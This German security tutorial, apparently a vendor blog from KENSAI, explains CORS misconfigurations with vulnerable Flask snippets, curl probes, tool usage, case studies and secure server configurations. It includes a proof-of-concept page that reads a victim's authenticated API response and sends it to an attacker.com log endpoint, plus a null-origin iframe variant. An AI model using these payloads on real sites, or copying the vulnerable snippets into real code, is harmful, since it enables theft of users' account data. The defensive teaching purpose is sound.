CORS-Fehlkonfigurationen gehören zu den Schwachstellen, die in Bug-Bounty-Programmen am häufigsten belohnt werden – und zugleich zu den am meisten unterschätzten. Ein einziger falsch konfigurierter Access-Control-Allow-Origin-Header kann jeden authentifizierten API-Endpunkt für angreiferkontrollierte Domains zugänglich machen.
Standardmäßig setzen Browser die Same-Origin-Policy (SOP) durch: JavaScript, das auf attacker.com ausgeführt wird, kann keine Antworten von bank.com lesen. CORS ist der Mechanismus, der diese Einschränkung lockert – und bei einer Fehlkonfiguration kann er die SOP vollständig aushebeln.
Cross-Origin Resource Sharing (CORS) ist ein auf HTTP-Headern basierender Mechanismus, mit dem ein Server festlegt, welche anderen Ursprünge (Domain + Schema + Port) seine Antworten lesen dürfen. Wenn ein Browser eine ursprungsübergreifende Anfrage stellt, setzt er die CORS-Richtlinie des Servers durch.
Diese entscheidenden Header sollten Sie kennen:
Access-Control-Allow-Origin — legt fest, welcher Ursprung die Antwort lesen darfAccess-Control-Allow-Credentials — legt fest, ob Cookies und Authentifizierungs-Header einbezogen werdenAccess-Control-Allow-Methods — zulässige HTTP-MethodenAccess-Control-Allow-Headers — zulässige Anfrage-HeaderAccess-Control-Expose-Headers — für JavaScript sichtbare Antwort-HeaderDie kritischste Schwachstelle entsteht, wenn ein Server sowohl Access-Control-Allow-Origin: [angreiferkontrolliert] ALS AUCH Access-Control-Allow-Credentials: true zurückgibt. Dadurch können Angreifer von ihrer Website aus authentifizierte Anfragen stellen und die Antworten lesen.
Browser lehnen Access-Control-Allow-Origin: * in Kombination mit Zugangsdaten ab. Entwickler versuchen dies häufig und „beheben“ es anschließend, indem sie den Ursprung dynamisch zurückspiegeln – wodurch eine noch schwerwiegendere Schwachstelle entsteht.
# Verwundbare serverseitige Logik (Python/Flask)
@app.after_request
def add_cors(response):
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin # NIEMALS SO UMSETZEN
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
Nun kann jeder Ursprung authentifizierte Antworten lesen. Dies ist die häufigste CORS-Schwachstelle, die in Bug-Bounty-Programmen gefunden wird.
# Verwundbar: Prüft, ob die vertrauenswürdige Domain IRGENDWO im Ursprung vorkommt
if 'trusted-bank.com' in request.headers.get('Origin', ''):
# Umgehung: Angreifer registriert evil-trusted-bank.com oder trusted-bank.com.evil.com
allow_origin(origin)
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Der Ursprung null kann durch Sandbox-iFrames, Weiterleitungen und file://-URLs ausgelöst werden. Angreifer können Seiten erstellen, die Anfragen mit Origin: null senden.
# Soll *.company.com erlauben, lässt aber auch evil.company.com.attacker.com zu
if origin.endswith('.company.com'):
allow_origin(origin)
Wenn Access-Control-Max-Age gesetzt ist, können zwischengespeicherte Preflight-Antworten ausgenutzt werden, falls sich die Ursprungsvalidierung ohne Cache-Invalidierung ändert.
# Test 1: Grundlegende Prüfung auf Zurückspiegelung
curl -s -I -H "Origin: https://evil.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 2: Null-Ursprung
curl -s -I -H "Origin: null" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 3: Subdomain-Umgehung
curl -s -I -H "Origin: https://target.com.evil.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 4: Prä-Domain-Umgehung
curl -s -I -H "Origin: https://eviltarget.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Corsy installieren und ausführen
pip install corsy
python3 corsy.py -u https://target.com -t 10
# Eine Liste von URLs scannen
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"
In Burp Suite Pro prüft der Active Scanner automatisch auf CORS-Fehlkonfigurationen. Verwenden Sie für manuelle Tests die Erweiterung CORS* aus dem BApp Store. Vorgehensweise:
Origin: https://evil.com hinzufügenAccess-Control-Allow-Origin zurückspiegeltAccess-Control-Allow-Credentials: true vorhanden ist| Antwort | Schweregrad | Ausnutzbar? |
|---|---|---|
ACAO: * | Niedrig–Mittel | Nur ohne Zugangsdaten |
Nur ACAO: [bösartiger Ursprung] | Mittel | Ohne Zugangsdaten |
ACAO: [bösartiger Ursprung] + ACAC: true | Kritisch | Ja — vollständiger Diebstahl von Zugangsdaten |
ACAO: null + ACAC: true | Hoch | Über ein Sandbox-iFrame |
Der folgende PoC veranschaulicht die Auswirkungen von CORS-Fehlkonfigurationen. Testen Sie ausschließlich Anwendungen, die Ihnen gehören oder für deren Prüfung Sie eine ausdrückliche schriftliche Genehmigung besitzen.
<!-- Auf attacker.com gehostet -->
<script>
fetch('https://victim.com/api/account/profile', {
credentials: 'include', // Sendet Cookies
mode: 'cors'
})
.then(r => r.text())
.then(data => {
// An den Server des Angreifers exfiltrieren
fetch('https://attacker.com/log?data=' + encodeURIComponent(data));
})
.catch(e => console.log('CORS blockiert:', e));
</script>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
fetch('https://victim.com/api/userdata', {credentials:'include'})
.then(r=>r.text())
.then(d=>parent.postMessage(d,'*'));
</script>">
</iframe>
<script>
window.addEventListener('message', e => {
fetch('/log?d=' + encodeURIComponent(e.data));
});
</script>
Wenn eine vertrauenswürdige Subdomain (z. B. legacy.victim.com) übernommen werden kann und die API *.victim.com vertraut, entsteht durch die Kombination aus Subdomain-Übernahme und CORS eine kritische Angriffskette.
Ein Sicherheitsforscher entdeckte, dass der Zahlungs-API-Endpunkt /api/v2/payment-methods jeden Origin-Header zusammen mit Zugangsdaten zurückspiegelte. Durch das Hosten einer schädlichen Seite auf einer ähnlich aussehenden Domain konnte er unbemerkt die Metadaten gespeicherter Kreditkarten von Opfern (letzte vier Ziffern, Ablaufdatum, Rechnungsadresse) sowie deren Kontostand auslesen, sobald das Opfer die Seite des Angreifers besuchte.
Das Patientenportal eines Gesundheitsunternehmens akzeptierte Anfragen von null-Ursprüngen. Die interne Admin-API verwendete dieselbe CORS-Richtlinie wie die patientenseitige API. Ein Sandbox-iFrame eines Angreifers konnte PHI (geschützte Gesundheitsinformationen) aus authentifizierten Sitzungen lesen – ein direkter Verstoß gegen HIPAA.
| Unternehmen | Schwachstelle | Prämie |
|---|---|---|
| Shopify | Ursprungszurückspiegelung in der Händler-API |
5,000
# Python/Flask – sichere Implementierung
ALLOWED_ORIGINS = {
'https://app.company.com',
'https://admin.company.com',
'https://company.com'
}
@app.after_request
def add_cors_headers(response):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Vary'] = 'Origin' # Entscheidend für das Caching!
return response
// Node.js/Express – sichere Implementierung
const allowedOrigins = new Set([
'https://app.company.com',
'https://company.com'
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
}
next();
});
# nginx.conf – sicheres CORS
map $http_origin $cors_origin {
default "";
"https://app.company.com" $http_origin;
"https://company.com" $http_origin;
}
server {
location /api/ {
if ($cors_origin) {
add_header 'Access-Control-Allow-Origin' $cors_origin always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Vary' 'Origin' always;
}
# Niemals verwenden: add_header 'Access-Control-Allow-Origin' '*';
}
}
*) mit Zugangsdaten verwendennull in Produktionsumgebungen niemals vertrauenVary: Origin einbeziehenCSRF nutzt das automatische Senden von Browser-Cookies bei zustandsändernden Anfragen (Schreibvorgängen) aus. Der Angreifer muss die Antwort nicht lesen können. CORS-Fehlkonfigurationen ermöglichen Angreifern hingegen, ursprungsübergreifende Antworten zu lesen. In beiden Fällen muss das Opfer authentifiziert sein. CORS schützt NICHT vor CSRF – verwenden Sie dafür CSRF-Token.
# Zur Sicherheitspipeline hinzufügen (z. B. GitHub Actions)
- name: CORS-Sicherheitsscan
run: |
# Kritische Endpunkte testen
for endpoint in /api/user /api/account /api/payments; do
response=$(curl -s -I \
-H "Origin: https://evil-test-domain.com" \
"https://${{ env.TARGET_URL }}$endpoint")
if echo "$response" | grep -qi "access-control-allow-origin: https://evil"; then
echo "CORS-FEHLKONFIGURATION ERKANNT: $endpoint"
exit 1
fi
done
echo "CORS-Prüfung bestanden"
KENSAI scannt kontinuierlich alle Ihre API-Endpunkte auf CORS-Fehlkonfigurationen, Schwachstellen durch zurückgespiegelte Ursprünge und Vertrauen in Null-Ursprünge.
Kostenlosen Scan starten →Der Schweregrad hängt von der Kombination der Header ab. Access-Control-Allow-Origin: * allein (ohne Zugangsdaten) hat einen niedrigen bis mittleren Schweregrad. Kritisch sind Fälle mit einem beliebigen oder zurückgespiegelten Ursprung UND Access-Control-Allow-Credentials: true – dies ermöglicht die vollständige Übernahme von Sitzungen und den Diebstahl von Daten.
Bei CORS-Angriffen muss das Opfer die Seite des Angreifers besuchen und gleichzeitig eine aktive Sitzung auf der Zielwebsite besitzen. Die Ausnutzung erfolgt unbemerkt im Hintergrund – das Opfer sieht nichts. Dadurch sind solche Angriffe in Phishing-Szenarien besonders gefährlich.
Nein. CORS ist ein Mechanismus zur Lockerung der Same-Origin-Policy und funktioniert unabhängig davon, ob HTTPS verwendet wird. Das Schema (HTTP gegenüber HTTPS) ist Teil des Ursprungs, doch die Verwendung von HTTPS behebt keine CORS-Fehlkonfigurationen.
Der aktive Scanner von KENSAI testet alle API-Endpunkte mit veränderten Origin-Headern und prüft dabei auf zurückgespiegelte Ursprünge, die Akzeptanz von Null-Ursprüngen sowie die kritische Kombination aus zurückgespiegelten Ursprüngen und Unterstützung von Zugangsdaten. Ergebnisse werden nach ihrer tatsächlichen Ausnutzbarkeit priorisiert und nicht nur danach, ob bestimmte Header vorhanden sind.
Sicherheit ist nicht optional.
🗡️ Das KENSAI-Team